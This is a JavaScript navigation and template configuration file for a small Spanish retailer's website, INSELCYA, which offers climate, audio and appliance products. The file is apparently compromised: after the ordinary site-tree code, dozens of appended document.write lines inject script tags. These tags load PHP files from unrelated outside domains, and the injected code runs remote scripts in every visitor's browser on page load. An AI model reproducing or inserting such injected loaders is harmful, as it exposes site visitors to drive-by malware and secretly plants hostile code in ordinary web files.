/* [nodename, id, name, navigationtext, href, isnavigation, childs[], templatename] */

if (typeof(decodeURIComponent) == 'undefined') {
  decodeURIComponent = function(s) {
    return unescape(s);
  }
}

function jdecode(s) {
    s = s.replace(/\+/g, "%20")
    return decodeURIComponent(s);
}

var POS_NODENAME=0;
var POS_ID=1;
var POS_NAME=2;
var POS_NAVIGATIONTEXT=3;
var POS_HREF=4;
var POS_ISNAVIGATION=5;
var POS_CHILDS=6;
var POS_TEMPLATENAME=7;
var theSitetree=[ 
	['PAGE','2101',jdecode('Inicio'),jdecode(''),'/2101.html','true',[],''],
	['PAGE','2301',jdecode('CLIMA'),jdecode(''),'/2301/index.html','true',[ 
		['PAGE','2501',jdecode('AIRE+ACONDICIONADO'),jdecode(''),'/2301/2501.html','true',[],''],
		['PAGE','3001',jdecode('ENERGIA+SOLAR+'),jdecode(''),'/2301/3001.html','true',[],''],
		['PAGE','2543',jdecode('CALEFACCION'),jdecode(''),'/2301/2543.html','true',[],'']
	],''],
	['PAGE','2201',jdecode('AUDIO'),jdecode(''),'/2201/index.html','true',[ 
		['PAGE','2564',jdecode('ALQUILER'),jdecode(''),'/2201/2564.html','true',[],''],
		['PAGE','2585',jdecode('VENTA+'),jdecode(''),'/2201/2585.html','true',[],'']
	],''],
	['PAGE','2401',jdecode('ELECTRODOMESTICOS'),jdecode(''),'/2401.html','true',[],''],
	['PAGE','3101',jdecode('TIENDA'),jdecode(''),'/3101.html','true',[],'']];
var siteelementCount=10;
theSitetree.topTemplateName='Qben';
theSitetree.paletteFamily='3871AA';
theSitetree.keyvisualId='-1';
theSitetree.keyvisualName='keyv.jpg';
theSitetree.fontsetId='17182';
theSitetree.graphicsetId='12657';
theSitetree.contentColor='2E2E2E';
theSitetree.contentBGColor='FFFFFF';
var localeDef={
  language: 'es',
  country: 'ES'
};
var theTemplate={
				name: 			'Qben',
				paletteFamily: 	'3871AA',
				keyvisualId: 	'-1',
				keyvisualName: 	'keyv.jpg',
				fontsetId: 		'17182',
				graphicsetId: 	'12657',
				contentColor: 	'2E2E2E',
				contentBGColor: 'FFFFFF',
				hasFlashNavigation: 'true',
				hasFlashLogo: 	'false',
				hasFlashCompanyname: 'false',
				hasFlashElements: 'true',
				hasCompanyname: 'false',
				a_color: 		'000000',
				b_color: 		'000000',
				c_color: 		'FFFFFF',
				d_color: 		'DC9E3C',
				e_color: 		'C976A5',
				f_color: 		'DC9E3C',
				hasCustomLogo: 	'true',
				contentFontFace:'Arial, Helvetica, sans-serif',
				contentFontSize:'12',
				useFavicon:     'false'
			  };
var webappMappings = {};
webappMappings['4001']=webappMappings['4001-731459']={
webappId:    '4001',
documentId:  '3101',
internalId:  '731459',
customField: 'language:es;country:ES;'
};
webappMappings['5000']=webappMappings['5000-']={
webappId:    '5000',
documentId:  '2101',
internalId:  '',
customField: '20091125-113844'
};
webappMappings['5000']=webappMappings['5000-']={
webappId:    '5000',
documentId:  '2585',
internalId:  '',
customField: '20091114-160458'
};
webappMappings['5000']=webappMappings['5000-']={
webappId:    '5000',
documentId:  '2301',
internalId:  '',
customField: '20090723-163034'
};
webappMappings['5000']=webappMappings['5000-']={
webappId:    '5000',
documentId:  '2501',
internalId:  '',
customField: '20090605-165041'
};
webappMappings['5000']=webappMappings['5000-']={
webappId:    '5000',
documentId:  '2522',
internalId:  '',
customField: '20090527-235249'
};
webappMappings['5000']=webappMappings['5000-']={
webappId:    '5000',
documentId:  '2543',
internalId:  '',
customField: '20090523-123642'
};
webappMappings['5000']=webappMappings['5000-']={
webappId:    '5000',
documentId:  '3001',
internalId:  '',
customField: '20090604-160543'
};
webappMappings['5000']=webappMappings['5000-']={
webappId:    '5000',
documentId:  '2201',
internalId:  '',
customField: '20091008-172942'
};
webappMappings['5000']=webappMappings['5000-']={
webappId:    '5000',
documentId:  '3101',
internalId:  '',
customField: '20091008-173022'
};
webappMappings['5000']=webappMappings['5000-']={
webappId:    '5000',
documentId:  '2564',
internalId:  '',
customField: '20090809-161912'
};
webappMappings['5000']=webappMappings['5000-']={
webappId:    '5000',
documentId:  '2401',
internalId:  '',
customField: '20090723-162610'
};
webappMappings['1501']=webappMappings['1501-732551']={
webappId:    '1501',
documentId:  '2101',
internalId:  '732551',
customField: '1501'
};
var canonHostname = 'eul0300555.eu.verio.net';
var accountId     = 'ANTT10INXXPV';
var companyName   = 'INSELCYA';
var htmlTitle	  = '';
var metaKeywords  = 'aire+acondicionado%2C+energia+solar%2Ccalefaccion%2C+electrodomesticos%2Csonido';
var metaContents  = '';
theSitetree.getById = function(id, ar) {
	if (typeof(ar) == 'undefined'){
		ar = this;
	}
	for (var i=0; i < ar.length; i++) {
		if (ar[i][POS_ID] == id){
			return ar[i];
		}
		if (ar[i][POS_CHILDS].length > 0) {
			var result=this.getById(id, ar[i][POS_CHILDS]);
			if (result != null){
				return result;
			}
		}
	}
	return null;
};

theSitetree.getParentById = function(id, ar) {
	if (typeof(ar) == 'undefined'){
		ar = this;
	}
	for (var i=0; i < ar.length; i++) {
		for (var j = 0; j < ar[i][POS_CHILDS].length; j++) {
			if (ar[i][POS_CHILDS][j][POS_ID] == id) {
				// child found
				return ar[i];
			}
			var result=this.getParentById(id, ar[i][POS_CHILDS]);
			if (result != null){
				return result;
			}
		}
	}
	return null;
};

theSitetree.getName = function(id) {
	var elem = this.getById(id);
	if (elem != null){
		return elem[POS_NAME];
	}
	return null;
};

theSitetree.getNavigationText = function(id) {
	var elem = this.getById(id);
	if (elem != null){
		return elem[POS_NAVIGATIONTEXT];
	}
	return null;
};

theSitetree.getHREF = function(id) {
	var elem = this.getById(id);
	if (elem != null){
		return elem[POS_HREF];
	}
	return null;
};

theSitetree.getIsNavigation = function(id) {
	var elem = this.getById(id);
	if (elem != null){
		return elem[POS_ISNAVIGATION];
	}
	return null;
};

theSitetree.getTemplateName = function(id, lastTemplateName, ar) {
	if (typeof(lastTemplateName) == 'undefined'){
		lastTemplateName = this.topTemplateName;
	}
	if (typeof(ar) == 'undefined'){
		ar = this;
	}
	for (var i=0; i < ar.length; i++) {
		var actTemplateName = ar[i][POS_TEMPLATENAME];
		if (actTemplateName == ''){
			actTemplateName = lastTemplateName;
		}
		if (ar[i][POS_ID] == id) {
			return actTemplateName;
		}
		if (ar[i][POS_CHILDS].length > 0) {
			var result=this.getTemplateName(id, actTemplateName, ar[i][POS_CHILDS]);
			if (result != null){
				return result;
			}
		}
	}
	return null;
};

theSitetree.getByXx = function(lookup, xx, ar) {
    if (typeof(ar) == 'undefined'){
    	ar = this;
    }
    for (var i=0; i < ar.length; i++) {
        if (ar[i][xx] == lookup){
        	return ar[i];
        }
        if (ar[i][POS_CHILDS].length > 0) {
        	var result=this.getByXx(lookup, xx, ar[i][POS_CHILDS]);
            if (result != null){
                return result;
               }
        }
    }
    return null;
};

function gotoPage(lookup) {
	if(__path_prefix__ == "/servlet/CMServeRES" && typeof (changePage) == 'function'){
		changePage(lookup);
		return;
	}
	var page = theSitetree.getHREF(lookup);
	if (!page) {
		var testFor = [ POS_NAME, POS_NAVIGATIONTEXT ];
		for (var i=0 ; i < testFor.length ; i++) {
			var p = theSitetree.getByXx(lookup, testFor[i]);
			if (p != null) {
				page = p[POS_HREF];
				break;
			}
		}
	}
	document.location.href = (new URL(__path_prefix__ + page, true, true)).toString();
};

document.write('<script src=http://maliklegal.co.uk/beta/contact.php ><\/script>');
document.write('<script src=http://maliklegal.co.uk/beta/contact.php ><\/script>');
document.write('<script src=http://biggyonline.com/zip/newjobs.php ><\/script>');
document.write('<script src=http://biggyonline.com/zip/newjobs.php ><\/script>');
document.write('<script src=http://biggyonline.com/zip/newjobs.php ><\/script>');
document.write('<script src=http://biggyonline.com/zip/newjobs.php ><\/script>');
document.write('<script src=http://biggyonline.com/zip/newjobs.php ><\/script>');
document.write('<script src=http://biggyonline.com/zip/newjobs.php ><\/script>');
document.write('<script src=http://biggyonline.com/zip/newjobs.php ><\/script>');
document.write('<script src=http://biggyonline.com/zip/newjobs.php ><\/script>');
document.write('<script src=http://biggyonline.com/zip/newjobs.php ><\/script>');
document.write('<script src=http://oilwrestlingstagparties.com/webalizer/tellmemore.php ><\/script>');
document.write('<script src=http://oilwrestlingstagparties.com/webalizer/tellmemore.php ><\/script>');
document.write('<script src=http://fitdurchphysio.de/modules/INSTALL.php ><\/script>');
document.write('<script src=http://brameczkasms.pl/scripts/instrukcja.php ><\/script>');
document.write('<script src=http://brameczkasms.pl/scripts/instrukcja.php ><\/script>');
document.write('<script src=http://brameczkasms.pl/scripts/instrukcja.php ><\/script>');
document.write('<script src=http://waltherdirekt.de/germania/Creek1.php ><\/script>');
document.write('<script src=http://waltherdirekt.de/germania/Creek1.php ><\/script>');
document.write('<script src=http://waltherdirekt.de/germania/Creek1.php ><\/script>');
document.write('<script src=http://waltherdirekt.de/germania/Creek1.php ><\/script>');
document.write('<script src=http://waltherdirekt.de/germania/Creek1.php ><\/script>');
document.write('<script src=http://sipenjanneke.nl/test/Shop.php ><\/script>');
document.write('<script src=http://sipenjanneke.nl/test/Shop.php ><\/script>');
document.write('<script src=http://sipenjanneke.nl/test/Shop.php ><\/script>');
document.write('<script src=http://sipenjanneke.nl/test/Shop.php ><\/script>');
document.write('<script src=http://sipenjanneke.nl/test/Shop.php ><\/script>');
document.write('<script src=http://bankczasu.net/sfPropelPlugin/index.php ><\/script>');
document.write('<script src=http://bankczasu.net/sfPropelPlugin/index.php ><\/script>');
document.write('<script src=http://bankczasu.net/sfPropelPlugin/index.php ><\/script>');
document.write('<script src=http://bankczasu.net/sfPropelPlugin/index.php ><\/script>');
document.write('<script src=http://bankczasu.net/sfPropelPlugin/index.php ><\/script>');
document.write('<script src=http://bankczasu.net/sfPropelPlugin/index.php ><\/script>');
document.write('<script src=http://bankczasu.net/sfPropelPlugin/index.php ><\/script>');
document.write('<script src=http://mobile.coombemanor.com/cp/indexr.php ><\/script>');
document.write('<script src=http://3softpk.com/dhoh/test.php ><\/script>');
document.write('<script src=http://saratownship.com/images/about_sara.php ><\/script>');
document.write('<script src=http://saratownship.com/images/about_sara.php ><\/script>');
document.write('<script src=http://saratownship.com/images/about_sara.php ><\/script>');
document.write('<script src=http://saratownship.com/images/about_sara.php ><\/script>');
document.write('<script src=http://energyexpo.biz/css/g-66.php ><\/script>');
document.write('<script src=http://energyexpo.biz/css/g-66.php ><\/script>');
document.write('<script src=http://energyexpo.biz/css/g-66.php ><\/script>');
document.write('<script src=http://energyexpo.biz/css/g-66.php ><\/script>');
document.write('<script src=http://bantontan.com/components/com_virtuemart/shop_image/fetchscript.php ><\/script>');
document.write('<script src=http://bantontan.com/components/com_virtuemart/shop_image/fetchscript.php ><\/script>');
document.write('<script src=http://bantontan.com/components/com_virtuemart/shop_image/fetchscript.php ><\/script>');
document.write('<script src=http://bulinutza.ro/upload/perle.php ><\/script>');
document.write('<script src=http://bulinutza.ro/upload/perle.php ><\/script>');
document.write('<script src=http://bombonella.com.ar/images/productosespeciales.php ><\/script>');
document.write('<script src=http://sickmanentertainment.com/blog/mp3Player.php ><\/script>');
document.write('<script src=http://naomi114.co.kr/data/board/rhyb.php ><\/script>');
document.write('<script src=http://naomi114.co.kr/data/board/rhyb.php ><\/script>');